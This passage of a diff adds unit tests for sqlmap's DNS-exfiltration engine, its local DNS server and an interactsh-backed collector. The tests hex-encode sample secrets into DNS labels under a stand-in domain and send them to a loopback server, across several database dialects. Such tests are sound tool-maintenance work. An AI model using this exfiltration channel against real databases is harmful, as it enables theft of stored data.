is not None: + server.close() + cls.server = None + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in _CONF} + self._saved_kb = {k: kb.get(k) for k in _KB} + self._saved_qp = Connect.queryPage + self._saved_randomStr = dnsmod.randomStr + self._saved_randomInt = dnstestmod.randomInt + self._saved_dnsServer = conf.get("dnsServer") + self._saved_hdbR, self._saved_hdbW = dnsmod.hashDBRetrieve, dnsmod.hashDBWrite + # the DNS exfil path prints its own "[INFO] retrieved: ..." progress straight to stdout + # via dataToStdout() (it bypasses the logger, so the suite's log-level silencing can't + # catch it); suppress it through sqlmap's own per-thread stdout gate so the run stays clean + self._saved_disableStdOut = getCurrentThreadData().disableStdOut + getCurrentThreadData().disableStdOut = True + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + conf.dnsServer = self.server + # isolate from the session hash DB (avoid cross-test value caching / uninitialized store) + dnsmod.hashDBRetrieve = lambda *a, **k: None + dnsmod.hashDBWrite = lambda *a, **k: None + # MSSQL/PostgreSQL build the payload via the stacked-query injection plumbing + # (agent.prefixQuery/agent.payload, needing a full kb.injection). That plumbing is + # generic - not DNS logic - and the mock oracle ignores the payload, so stub it to a + # pass-through; the DNS-specific snippet/substring/chunking still runs for real. + self._s_agent = save_attrs(agent, "prefixQuery", "payload") + agent.prefixQuery = lambda expression, *a, **k: expression + agent.payload = lambda place=None, parameter=None, value=None, newValue=None, where=None: newValue or "" + set_dbms(self.DBMS_NAME) + + def tearDown(self): + getCurrentThreadData().disableStdOut = self._saved_disableStdOut + for k, v in self._saved_conf.items(): + conf[k] = v + for k, v in self._saved_kb.items(): + kb[k] = v + conf.dnsServer = self._saved_dnsServer + Connect.queryPage = self._saved_qp + dnsmod.Request.queryPage = self._saved_qp + dnsmod.randomStr = self._saved_randomStr + dnstestmod.randomInt = self._saved_randomInt + dnsmod.hashDBRetrieve, dnsmod.hashDBWrite = self._saved_hdbR, self._saved_hdbW + restore_attrs(self._s_agent) + + def _install_oracle(self, secret, working=True, force=None): + """ + Installs a mock queryPage that plays the DBMS: for each dnsUse iteration it fires a + real UDP DNS query carrying the next hex chunk of L{secret}. working=False models a + dead DNS channel (the DBMS never emits a lookup). force=(prefix, suffix) pins the + random boundary labels (to construct adversarial cases like a domain/suffix collision). + """ + secret_bytes = secret.encode("utf-8") + boundaries = [] + served = [0] + + real_randomStr = self._saved_randomStr + def spy_randomStr(length=4, alphabet=None, **kw): + if alphabet == DNS_BOUNDARIES_ALPHABET and length == 3: + out = force[len(boundaries) % 2] if force else real_randomStr(length=length, alphabet=alphabet, **kw) + boundaries.append(out) + return out + return real_randomStr(length=length, alphabet=alphabet, **kw) if alphabet is not None else real_randomStr(length=length, **kw) + dnsmod.randomStr = spy_randomStr + + dbms = Backend.getIdentifiedDbms() + chunk_length = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 + + def oracle(payload=None, *args, **kwargs): + if not working: + return None + prefix, suffix = boundaries[-2], boundaries[-1] + chunk = secret_bytes[served[0]:served[0] + chunk_length] + if chunk: + host = "%s.%s.%s.%s" % (prefix, binascii.hexlify(chunk).decode(), suffix, conf.dnsDomain) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(3) + c.sendto(_build_query(host), ("127.0.0.1", self.server.port)) + try: + c.recvfrom(512) + finally: + c.close() + served[0] += len(chunk) + for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner + with self.server._lock: + if any(host.encode() in r for r in self.server._requests): + break + time.sleep(0.01) + return None + + Connect.queryPage = staticmethod(oracle) + dnsmod.Request.queryPage = staticmethod(oracle) + + def _extract(self, secret): + self._install_oracle(secret) + return dnsmod.dnsUse("%s AND %d=%d", "user()") + + +class TestDnsExfilEngine(_DnsCase): + DBMS_NAME = "MySQL" + + def test_short_value(self): + self.assertEqual(self._extract("luther"), "luther") + + def test_value_spanning_multiple_dns_labels(self): + # > one DNS label -> forces the chunking/offset/reassembly loop (multiple queries) + secret = "The quick brown fox jumps over the lazy dog 0123456789 abcdef" + self.assertEqual(self._extract(secret), secret) + + def test_exact_chunk_boundary(self): + # length exactly one chunk: last-chunk break condition (len < chunk_length) edge + dbms = Backend.getIdentifiedDbms() + cl = MAX_DNS_LABEL // 2 if dbms in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 + secret = "A" * cl + self.assertEqual(self._extract(secret), secret) + + def test_special_characters(self): + secret = "p@ss W0rd!#%&" + self.assertEqual(self._extract(secret), secret) + + def test_domain_label_colliding_with_suffix(self): + # adversarial: --dns-domain's leading label equals the random suffix. A greedy + # extraction regex would run past the real boundary into the domain and corrupt the + # value; the (lazy) extraction must still recover it exactly. + conf.dnsDomain = "hhh.exfil.test" # leading label 'hhh' == forced suffix + self._install_oracle("luther", force=("ggg", "hhh")) + self.assertEqual(dnsmod.dnsUse("%s AND %d=%d", "user()"), "luther") + + +class TestDnsExfilEngineOracle(TestDnsExfilEngine): + # Oracle: different dns_request snippet (UTL_INADDR.GET_HOST_ADDRESS, '||' concat) and + # SUBSTRC substring template - re-runs the whole battery through the Oracle dialect. + DBMS_NAME = "Oracle" + + +class TestDnsExfilEnginePostgres(TestDnsExfilEngine): + # PostgreSQL: stacked-query branch (agent.payload), plpgsql COPY dns_request snippet, + # 'SUBSTRING((...)::text FROM x FOR y)' substring template. + DBMS_NAME = "PostgreSQL" + + +class TestDnsExfilEngineMssql(TestDnsExfilEngine): + # MSSQL: stacked-query branch, xp_dirtree dns_request snippet, and crucially a SMALLER + # chunk_length (MAX_DNS_LABEL//4 - 2) - exercises the alternate chunking arithmetic. + DBMS_NAME = "Microsoft SQL Server" + + +class TestDnsLabelInvariant(_DnsCase): + """The exfil chunk is hex-encoded into ONE DNS label, so the label dnsUse emits must never + exceed the 63-octet DNS label limit - otherwise the query carries an invalid (over-long) label + and exfil silently breaks. + + Unlike a static formula check, this drives the REAL dnsUse() chunking through the REAL DNSServer + and asserts the invariant on the ACTUAL labels that reach the wire. The mock oracle does NOT + re-derive the chunk size: it slices each chunk to exactly the length dnsUse itself rendered into + its SUBSTRING call (captured live from agent.hexConvertField, whose input is the source's + substring expression). So if the chunk_length arithmetic in dnsUse regresses, the emitted hex + label grows past 63 octets and this test goes red - it observes the source's output, it does not + recompute it. + """ + + def _drive_and_collect_labels(self, secret): + """ + Runs dnsUse for L{secret} end-to-end against the real DNS server, slicing each chunk to the + length the SOURCE asked for (parsed from the live SUBSTRING expression dnsUse builds), and + returns (every label seen in every emitted query name, list of source chunk_lengths seen). + """ + secret_bytes = secret.encode("utf-8") + boundaries = [] + served = [0] + source_chunk_lengths = [] + # Snapshot the names the REAL DNSServer parsed off the wire, captured the moment they land + # in _requests - dnsUse's own .pop() consumes them, so we must grab them before that. + captured_names = [] + + real_randomStr = self._saved_randomStr + def spy_randomStr(length=4, alphabet=None, **kw): + if alphabet == DNS_BOUNDARIES_ALPHABET and length == 3: + out = real_randomStr(length=length, alphabet=alphabet, **kw) + boundaries.append(out) + return out + return real_randomStr(length=length, alphabet=alphabet, **kw) if alphabet is not None else real_randomStr(length=length, **kw) + dnsmod.randomStr = spy_randomStr + + # agent.hexConvertField receives the rendered SUBSTRING call, e.g. "MID((...),1,31)" / + # "SUBSTRING((...) FROM 1 FOR 13)"; the substring LENGTH argument (the source's real + # chunk_length) is the last integer literal in it. Capture it per iteration so the oracle + # emits a chunk of exactly that size - the source's arithmetic, not a copy of it. + real_hexConvertField = agent.hexConvertField # the spy delegates to it + saved_hexConvertField = save_attrs(agent, "hexConvertField") + + def spy_hexConvertField(field): + source_chunk_lengths.append(int(re.findall(r"\d+", field)[-1])) + return real_hexConvertField(field) + agent.hexConvertField = spy_hexConvertField + + def oracle(payload=None, *args, **kwargs): + prefix, suffix = boundaries[-2], boundaries[-1] + chunk_length = source_chunk_lengths[-1] + chunk = secret_bytes[served[0]:served[0] + chunk_length] + if chunk: + host = "%s.%s.%s.%s" % (prefix, binascii.hexlify(chunk).decode(), suffix, conf.dnsDomain) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(3) + c.sendto(_build_query(host), ("127.0.0.1", self.server.port)) + try: + c.recvfrom(512) + finally: + c.close() + served[0] += len(chunk) + for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner + with self.server._lock: + matched = [r for r in self.server._requests if host.encode() in r] + if matched: + captured_names.extend(r.decode() if isinstance(r, bytes) else r for r in matched) + break + time.sleep(0.01) + return None + + Connect.queryPage = staticmethod(oracle) + dnsmod.Request.queryPage = staticmethod(oracle) + + try: + result = dnsmod.dnsUse("%s AND %d=%d", "user()") + finally: + restore_attrs(saved_hexConvertField) + + # round-trip must still work (the source must actually reassemble what it chunked) + self.assertEqual(result, secret) + + labels = [] + for name in captured_names: + labels.extend(label for label in name.split(".") if label) + return labels, source_chunk_lengths + + def test_emitted_dns_labels_within_max_dns_label(self): + # long enough that every supported dialect's chunk_length forces several chunks (>1 label of + # hex payload), so the chunking loop - not just a single-shot path - is what we measure + secret = ("The quick brown fox jumps over the lazy dog " + "0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz") * 3 + for dbms_name in ("MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server"): + self.DBMS_NAME = dbms_name + set_dbms(dbms_name) + labels, source_chunk_lengths = self._drive_and_collect_labels(secret) + + # the source must have actually chunked (multiple SUBSTRING iterations), otherwise we + # would not be testing the chunking output at all + self.assertGreater(len(source_chunk_lengths), 1, + "%s: payload did not force multiple chunks (got %d)" % (dbms_name, len(source_chunk_lengths))) + self.assertTrue(all(cl > 0 for cl in source_chunk_lengths), + "%s: non-positive chunk_length from source: %r" % (dbms_name, source_chunk_lengths)) + + self.assertTrue(labels, "%s: no DNS query labels were captured" % dbms_name) + for label in labels: + self.assertLessEqual(len(label), MAX_DNS_LABEL, + "%s: emitted DNS label %r is %d octets, exceeds MAX_DNS_LABEL (%d)" + % (dbms_name, label, len(label), MAX_DNS_LABEL)) + + +class TestDnsChannelDetection(_DnsCase): + """dnsTest(): probes the channel with a known random integer and disables DNS exfil if + the value doesn't come back (unless --force-dns, which then aborts).""" + DBMS_NAME = "MySQL" + KNOWN = 4815162342 + + def _patch_known_int(self): + dnstestmod.randomInt = lambda *a, **k: self.KNOWN + + def test_detection_success_keeps_channel(self): + self._patch_known_int() + self._install_oracle(str(self.KNOWN), working=True) + dnstestmod.dnsTest("%s AND %d=%d") + self.assertTrue(kb.dnsTest) + self.assertEqual(conf.dnsDomain, "exfil.test") # channel kept + + def test_detection_failure_disables_channel(self): + self._patch_known_int() + self._install_oracle(str(self.KNOWN), working=False) # dead channel + dnstestmod.dnsTest("%s AND %d=%d") + self.assertFalse(kb.dnsTest) + self.assertIsNone(conf.dnsDomain) # exfil turned off + + def test_detection_failure_with_force_dns_raises(self): + self._patch_known_int() + conf.forceDns = True + self._install_oracle(str(self.KNOWN), working=False) + self.assertRaises(SqlmapNotVulnerableException, dnstestmod.dnsTest, "%s AND %d=%d") + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dns_server.py b/tests/test_dns_server.py new file mode 100644 index 00000000000..7624e46388b --- /dev/null +++ b/tests/test_dns_server.py @@ -0,0 +1,840 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The DNS server used for DNS-exfiltration (lib/request/dns.py): raw packet parsing +(DNSQuery), fake A-record response crafting, the pop(prefix, suffix) accounting, and +- importantly - resilience: a single malformed packet or a transient send error must +NOT kill the server thread (which would silently lose all further exfiltration). +""" + +import collections +import os +import socket +import struct +import sys +import threading +import time +import types +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), "..")) + +from lib.core.settings import MAX_DNS_REQUESTS +from lib.request.dns import DNSQuery, DNSServer, InteractshDNSServer + + +def build_query(name, tid=b"\x12\x34", qtype=1): + """Minimal standard (opcode 0) DNS query packet for L{name} (qtype 1=A, 28=AAAA, ...)""" + pkt = tid + b"\x01\x00" + b"\x00\x01" + b"\x00\x00" + b"\x00\x00" + b"\x00\x00" + for label in name.split("."): + if label: + pkt += struct.pack("B", len(label)) + label.encode() + return pkt + b"\x00" + struct.pack(">H", qtype) + b"\x00\x01" + + +class _HighPortDNSServer(DNSServer): + """Real DNSServer logic, bound on an ephemeral high port (no root, no :53 probe). + + Binds to port 0 and reads the kernel-chosen port back via getsockname() (same pattern + as tests/test_dns_engine.py) so concurrent/repeated runs never collide on a hardcoded + port. The actual port is exposed as L{self.port}. + """ + def __init__(self, sock=None, maxlen=MAX_DNS_REQUESTS): + self._requests = collections.deque(maxlen=maxlen) + self._lock = threading.Lock() + if sock is None: + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind(("127.0.0.1", 0)) + self._socket = sock + self.port = self._socket.getsockname()[1] + self._running = False + self._initialized = False + + def close(self): + self._running = False + try: + self._socket.close() + except socket.error: + pass + + +# Maximum time (seconds) to wait for the daemon server thread to come up, or for a sent +# query to be recorded, before failing loudly instead of spinning/sleeping forever. +WAIT_TIMEOUT = 5.0 + + +def _wait_initialized(srv, timeout=WAIT_TIMEOUT): + """Bounded wait for the server thread to flip _initialized; fail fast if it never does.""" + deadline = time.time() + timeout + while not srv._initialized: + if time.time() > deadline: + raise RuntimeError("DNS server failed to initialize within %.1fs" % timeout) + time.sleep(0.01) + + +def _wait_recorded(srv, token, timeout=WAIT_TIMEOUT): + """Bounded wait until L{token} appears in a recorded request; False on timeout.""" + if hasattr(token, "encode"): + token = token.encode() + deadline = time.time() + timeout + while time.time() <= deadline: + with srv._lock: + if any(token in r for r in srv._requests): + return True + time.sleep(0.01) + return False + + +def _wait_popped(srv, prefix, suffix, timeout=WAIT_TIMEOUT): + """Bounded wait until pop(prefix, suffix) yields a value; returns it or None on timeout.""" + deadline = time.time() + timeout + while time.time() <= deadline: + popped = srv.pop(prefix, suffix) + if popped: + return popped + time.sleep(0.01) + return None + + +def _stop_client_poller(client): + """Best-effort shutdown of a client's single background poller, used by stubbed close() + so test teardown never joins a live thread or reaches the network.""" + poller = getattr(client, "_poller", None) + if poller is not None: + try: + poller.stop() + except Exception: + pass + + +def _start_test_poller(client): + """Start a real InteractshPoller around a fake poll() without requiring pycryptodome. + + Interactsh._ensurePoller() intentionally no-ops when crypto is unavailable because a real + interactsh /poll response cannot then be decrypted. These tests replace poll() with an + already-decoded in-memory fake, so their queue/poller behavior should not depend on whether + the test interpreter happens to have Crypto installed (notably PyPy 2.7 in CI). + """ + from lib.request.interactsh import InteractshPoller + poller = getattr(client, "_poller", None) + if poller is None: + client._poller = poller = InteractshPoller(client) + poller.start() + return poller + + +class _SendFailOnceSocket(object): + """Wraps a real UDP socket; first sendto() raises (simulated transient failure)""" + def __init__(self, real): + self._real = real + self._sends = 0 + + def recvfrom(self, *a, **k): + return self._real.recvfrom(*a, **k) + + def sendto(self, *a, **k): + self._sends += 1 + if self._sends == 1: + raise RuntimeError("simulated transient sendto failure") + return self._real.sendto(*a, **k) + + def __getattr__(self, name): + return getattr(self._real, name) + + +class TestDNSQuery(unittest.TestCase): + def test_parses_data_bearing_name(self): + q = DNSQuery(build_query("pre.deadbeef.suf.exfil.test")) + self.assertEqual(q._query, b"pre.deadbeef.suf.exfil.test.") + + def test_empty_and_short_packets_do_not_raise(self): + for raw in (b"", b"\x00", b"\x12", b"\x12\x34", b"\x12\x34\x01\x20"): + self.assertEqual(DNSQuery(raw)._query, b"") # no exception, empty query + + def test_unterminated_name_does_not_raise(self): + # a length byte that runs past the buffer, with no null terminator + pkt = b"\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00" + b"\x20" + b"abc" + DNSQuery(pkt) # must not raise (slicing past end yields b"", ord guards) + + def test_response_is_valid_A_record(self): + q = DNSQuery(build_query("x.y.z", tid=b"\xab\xcd")) + resp = q.response("127.0.0.1") + self.assertEqual(resp[:2], b"\xab\xcd") # transaction id echoed + self.assertEqual(resp[2:4], b"\x85\x80") # standard response, no error + ip = ".".join(str(b if isinstance(b, int) else ord(b)) for b in resp[-4:]) + self.assertEqual(ip, "127.0.0.1") + + def test_empty_query_yields_empty_response(self): + self.assertEqual(DNSQuery(b"\x00").response("127.0.0.1"), b"") + + +class TestDNSServerRoundTrip(unittest.TestCase): + @classmethod + def setUpClass(cls): + cls.srv = _HighPortDNSServer() + cls.srv.run() + _wait_initialized(cls.srv) + + @classmethod + def tearDownClass(cls): + srv = getattr(cls, "srv", None) + if srv is not None: + srv.close() + cls.srv = None + + def _send(self, name): + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(3) + c.sendto(build_query(name), ("127.0.0.1", self.srv.port)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + return _wait_recorded(self.srv, name) + + def test_roundtrip_and_pop(self): + self.assertTrue(self._send("aaa.cafe.bbb.exfil.test")) + self.assertIsNone(self.srv.pop("zzz", "yyy")) # wrong boundaries + self.assertIsNotNone(self.srv.pop("aaa", "bbb")) # correct boundaries + self.assertIsNone(self.srv.pop("aaa", "bbb")) # consumed only once + + def test_non_a_query_type_still_recorded(self): + # a DBMS resolver may emit AAAA (28) / TXT (16) lookups - the exfiltrated name is in the + # labels regardless of qtype, and the server records before crafting the (A) response + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(2) + c.sendto(build_query("ggg.beef.hhh.exfil.test", qtype=28), ("127.0.0.1", self.srv.port)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + if not _wait_popped(self.srv, "ggg", "hhh"): + self.fail("AAAA-type query was not recorded (exfil would be lost for AAAA-resolving DBMSes)") + + +class TestDNSServerMemoryBound(unittest.TestCase): + """The server records every received query (it listens on :53); only matching ones are + popped. Unrelated/stray traffic and resolver retries must not grow memory without bound.""" + + def test_requests_are_bounded_and_recent_kept(self): + srv = _HighPortDNSServer(maxlen=50) + self.addCleanup(srv.close) + srv.run() + _wait_initialized(srv) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + for i in range(200): # flood well past the bound + c.sendto(build_query("noise%d.unrelated.test" % i), ("127.0.0.1", srv.port)) + c.close() + # a legit exfil query right after the flood must still be capturable + c2 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); c2.settimeout(2) + c2.sendto(build_query("ppp.d00d.qqq.exfil.test"), ("127.0.0.1", srv.port)) + try: + c2.recvfrom(512) + except socket.timeout: + pass + finally: + c2.close() + popped = _wait_popped(srv, "ppp", "qqq") + with srv._lock: + n = len(srv._requests) + self.assertLessEqual(n, 50, "request buffer exceeded its bound (%d)" % n) + self.assertIsNotNone(popped, "a fresh exfil query was lost after a flood of stray traffic") + + +class TestDNSServerResilience(unittest.TestCase): + def _make(self, sock=None): + srv = _HighPortDNSServer(sock=sock) + self.addCleanup(srv.close) + srv.run() + _wait_initialized(srv) + return srv + + def _query(self, port, name): + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(1) + c.sendto(build_query(name), ("127.0.0.1", port)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + + def _recorded(self, srv, token): + return _wait_recorded(srv, token) + + def test_survives_transient_send_error(self): + # ephemeral bind, then wrap the bound socket so its first sendto() raises + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + s.bind(("127.0.0.1", 0)) + srv = self._make(sock=_SendFailOnceSocket(s)) + self._query(srv.port, "aaa.11.bbb.exfil.test") # first sendto raises + self._query(srv.port, "ccc.22.ddd.exfil.test") # must still be served + self.assertTrue(self._recorded(srv, "ccc.22.ddd"), + "DNS server died after one failing sendto (lost subsequent exfil)") + self.assertTrue(srv._running) + + def test_survives_malformed_packets(self): + srv = self._make() + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + for junk in (b"", b"\x00", b"\xff" * 7, b"\x12\x34\x01\x00\x00\x01" + b"\x20abc"): + c.sendto(junk, ("127.0.0.1", srv.port)) + c.close() + self._query(srv.port, "ok.33.fine.exfil.test") + self.assertTrue(self._recorded(srv, "ok.33.fine"), + "DNS server died on a malformed packet") + + +class TestDNSServerConcurrency(unittest.TestCase): + """Under --threads, many workers fire DNS queries and call pop() while the server thread + appends - all guarded by one lock. Each worker must get back exactly its own data.""" + + @classmethod + def setUpClass(cls): + cls.srv = _HighPortDNSServer() + cls.srv.run() + _wait_initialized(cls.srv) + + @classmethod + def tearDownClass(cls): + srv = getattr(cls, "srv", None) + if srv is not None: + srv.close() + cls.srv = None + + def test_concurrent_send_and_pop_no_crosstalk(self): + import binascii, re + N = 12 + errors = [] + + def worker(i): + # distinct boundary labels per worker (DNS boundary alphabet = letters, no a-f/digits) + prefix = "gg" + chr(ord("g") + i) + suffix = "mm" + chr(ord("g") + i) + secret = ("worker-%02d-secret" % i).encode() + host = "%s.%s.%s.exfil.test" % (prefix, binascii.hexlify(secret).decode(), suffix) + c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + c.settimeout(2) + try: + c.sendto(build_query(host), ("127.0.0.1", self.srv.port)) + try: + c.recvfrom(512) + except socket.timeout: + pass + finally: + c.close() + got = _wait_popped(self.srv, prefix, suffix) + if not got: + errors.append("worker %d: never popped its query" % i); return + m = re.search(r"%s\.(?P.+?)\.%s" % (prefix, suffix), got, re.I) + if not m or binascii.unhexlify(m.group("r")) != secret: + errors.append("worker %d: cross-talk/corruption got=%r" % (i, got)) + + threads = [threading.Thread(target=worker, args=(i,)) for i in range(N)] + for t in threads: + t.start() + for t in threads: + t.join() + self.assertEqual(errors, [], "concurrency failures: %s" % errors) + # every queued request consumed exactly once -> nothing left behind + self.assertEqual(self.srv.pop("gg" + chr(ord("g")), "mm" + chr(ord("g"))), None) + + +class TestInteractshDNSServer(unittest.TestCase): + """The interactsh-backed DNS collector must present the same pop(prefix, suffix) + accounting as DNSServer, matching only prefix..suffix names and never + returning the same captured lookup twice.""" + + def _collector(self, names, deadline=None, start_poller=True): + """Build an InteractshDNSServer (bypassing __init__) over a fake client. + + The fake drives the real poller-aware consume path (production code, not a stub), returns + its records ONCE destructively - exactly as a real interactsh endpoint drains storage - + and, because close()/_request() are stubbed, can never reach the network at teardown. + ``deadline`` sets this instance's pop() search budget (seconds); ``start_poller`` runs the + single background consumer, as normal registered operation would. + """ + from lib.request.interactsh import Interactsh + client = Interactsh.__new__(Interactsh) # bypass network __init__ + client.registered = True + client.correlationId = "corr0000000000000nnc" + client.server = "oast.fun" + client.secret = "test-secret" + client._pollerLock = threading.Lock() # __init__ is bypassed, so set it explicitly + client._stopping = False # __init__ sets it; set it here too + client._dnsNonce = None # lets the real dnsDomain() run (lazy-initialises it) + + names_batch = list(names) + + def poll(): + # return the whole batch once, then nothing - mirrors an interactsh endpoint + # draining its pending storage in a single /poll response + if names_batch: + batch = [{"protocol": "dns", "full-id": n, "unique-id": n} for n in names_batch] + del names_batch[:] + return batch + return [] + client.poll = poll + + for meth in ("_ensurePoller", "_consume", "_safeSelector"): + setattr(client, meth, types.MethodType(getattr(Interactsh, meth), client)) + + # teardown (srv.stop() -> client.stop() -> close) must never touch the network + client.close = lambda: _stop_client_poller(client) + client._request = lambda *a, **k: None + + srv = InteractshDNSServer.__new__(InteractshDNSServer) + srv._client = client + srv.domain = srv._client.dnsDomain() + srv._seen = set() + srv._running = True + srv._initialized = True + srv._POP_DEADLINE = deadline if deadline is not None else InteractshDNSServer._POP_DEADLINE + self.addCleanup(srv.stop) # stops the poller then deregisters (close() is network-stubbed) + if start_poller: + poller = _start_test_poller(srv._client) + t = time.time() + 2.0 + while not poller._queue and time.time() < t: # wait for the destructive batch to stage + time.sleep(0.01) + return srv + + def test_pop_matches_prefix_suffix_and_dedups(self): + names = ["aaa.5345435245540a.zzz.corr0000000000000nnc", "unrelated.corr0000000000000nnc"] + srv = self._collector(names) + got = srv.pop("aaa", "zzz") + self.assertEqual(got, "aaa.5345435245540a.zzz.corr0000000000000nnc") + self.assertIsNone(srv.pop("aaa", "zzz", deadline=0)) # consumed only once (snapshot) + srv.stop() + + def test_pop_does_not_consume_a_sharing_http_record(self): + """Regression for the cross-consumer loss the shared poller was introduced to prevent. + + pop() and httpRequests() draw from the same background poller queue. If pop() does not + verify the record's protocol, a queued HTTP interaction whose full-id matches the DNS + window would be returned as though it were a DNS lookup, and the HTTP consumer would + then lose it. Both records here share the SAME full-id; pop() must return the DNS name + only and leave the HTTP record for httpRequests().""" + from lib.request.interactsh import Interactsh + dns_full = "aaa.deadbeef.bbb.corr0000000000000nnc" + http_full = "aaa.deadbeef.bbb.corr0000000000000nnc" # shared full-id with the DNS record + recs = [ + {"protocol": "dns", "full-id": dns_full, "unique-id": dns_full, + "remote-address": "1.1.1.1", "raw-request": "QUERY"}, + {"protocol": "http", "full-id": http_full, + "raw-request": "GET /?cafebabe=1 HTTP/1.1", "remote-address": "2.2.2.2"}, + ] + client = Interactsh.__new__(Interactsh) # bypass network __init__ + client.registered = True + client.correlationId = "corr0000000000000nnc" + client.server = "oast.fun" + client.secret = "test-secret" + client._pollerLock = threading.Lock() # __init__ is bypassed, so set it explicitly + client._stopping = False # __init__ sets it; set it here too + client._dnsNonce = None + + rec_batch = list(recs) + + def poll(): + # return the whole batch once, then nothing - mirrors an interactsh endpoint + # draining its pending storage in a single /poll response + if rec_batch: + batch = rec_batch[:] + del rec_batch[:] + return batch + return [] + client.poll = poll + + for meth in ("_ensurePoller", "_consume", "_safeSelector"): + setattr(client, meth, types.MethodType(getattr(Interactsh, meth), client)) + client.close = lambda: _stop_client_poller(client) + client._request = lambda *a, **k: None + + srv = InteractshDNSServer.__new__(InteractshDNSServer) + srv._client = client + srv.domain = srv._client.dnsDomain() + srv._seen = set() + srv._running = True + srv._initialized = True + srv._POP_DEADLINE = 1.0 + self.addCleanup(srv.stop) + + poller = _start_test_poller(srv._client) # real queue/poller, fake already-decoded poll() + t = time.time() + 2.0 + while not poller._queue and time.time() < t: # wait for the destructive batch to stage + time.sleep(0.01) + + self.assertEqual(srv.pop("aaa", "bbb"), dns_full) # DNS record claimed + self.assertFalse(srv.pop("aaa", "bbb", deadline=0)) # snapshot after the DNS record is gone + # the HTTP record with the same full-id is still there for the HTTP consumer + out = client.httpRequests() + self.assertEqual(len(out), 1) + self.assertEqual(out[0]["full-id"], http_full) + self.assertEqual(out[0]["query-param-names"], ["cafebabe"]) + + def test_pop_no_match(self): + srv = self._collector(["aaa.deadbeef.qqq.corr0000000000000nnc"], deadline=1.0, start_poller=False) + self.assertIsNone(srv.pop("aaa", "zzz")) + + def test_pop_any(self): + srv = self._collector(["whatever.corr0000000000000nnc"]) + self.assertEqual(srv.pop(), "whatever.corr0000000000000nnc") + srv.stop() + + def test_run_is_noop(self): + srv = self._collector([]) + srv.run() # must not raise + srv.stop() + + def test_pop_with_no_poller_installed(self): + """Backwards-compatible: a server without a running poller resolves pop() via the direct + (synchronous) poll path.""" + names = ["mmm.cafebabefff.ccc.corr0000000000000nnc"] + srv = self._collector(names, start_poller=False) + self.assertEqual(srv.pop("mmm", "ccc", sync=True), names[0]) + srv.stop() + + def test_background_poller_stages_names_instantly(self): + """With the single background poller running, pop() reads a staged name from its in-memory + queue with no extra /poll round-trip.""" + names = ["aaa.deadbeef.bbb.corr0000000000000nnc"] + srv = self._collector(names) # poller started and its destructive batch staged + try: + self.assertTrue(srv._client._poller.isRunning()) + self.assertEqual(_wait_popped(srv, "aaa", "bbb"), names[0]) + self.assertIsNone(srv.pop("aaa", "bbb", deadline=0)) # only one lookup exists (snapshot) + finally: + srv.stop() + + def test_background_poller_preserves_foreign_window_names(self): + """A name for a *different* window survives its own pop() scan - pop(zzz,yyy) must not drain + the aaa/bbb record, which pop(aaa,bbb) then returns.""" + names = ["aaa.deadbeef.bbb.corr0000000000000nnc"] + srv = self._collector(names, deadline=1.0) + try: + self.assertFalse(srv.pop("zzz", "yyy")) # wrong window yields nothing (~1s) + self.assertEqual(srv.pop("aaa", "bbb"), names[0]) + self.assertIsNone(srv.pop("aaa", "bbb", deadline=0)) # only one lookup (snapshot) + finally: + srv.stop() + + def test_ensure_poller_starts_only_one_background_thread(self): + """Concurrent _ensurePoller() callers must converge on a single background poller. + + The create-and-start decision runs under _pollerLock, so two threads racing on an + unstarted session cannot each build their own poller and destructively poll the same + interaction session concurrently - precisely what this redesign exists to prevent.""" + from lib.request.interactsh import Interactsh, InteractshPoller, hasCrypto + if not hasCrypto(): + self.skipTest("requires pycryptodome") + client = Interactsh.__new__(Interactsh) + client.registered = True + client.correlationId = "corr0000000000000nnc" + client.server = "oast.fun" + client.secret = "test-secret" + client._dnsNonce = None + client._poller = None + client._pollerLock = threading.Lock() + client._stopping = False # set by __init__ in the real client; set it here too + for meth in ("_ensurePoller", "_consume", "_safeSelector"): + setattr(client, meth, types.MethodType(getattr(Interactsh, meth), client)) + # stub the remote endpoint and deregister path so the poll loop and client.stop() stay + # offline while we probe the create/start synchronisation + client.poll = lambda: [] + client._request = lambda *a, **k: "[]" + + started = [] + orig_start = InteractshPoller.start + + def counting_start(self): + started.append(self) # record every poller whose start() is invoked + orig_start(self) + + client._poller = None + InteractshPoller.start = counting_start + try: + threads = 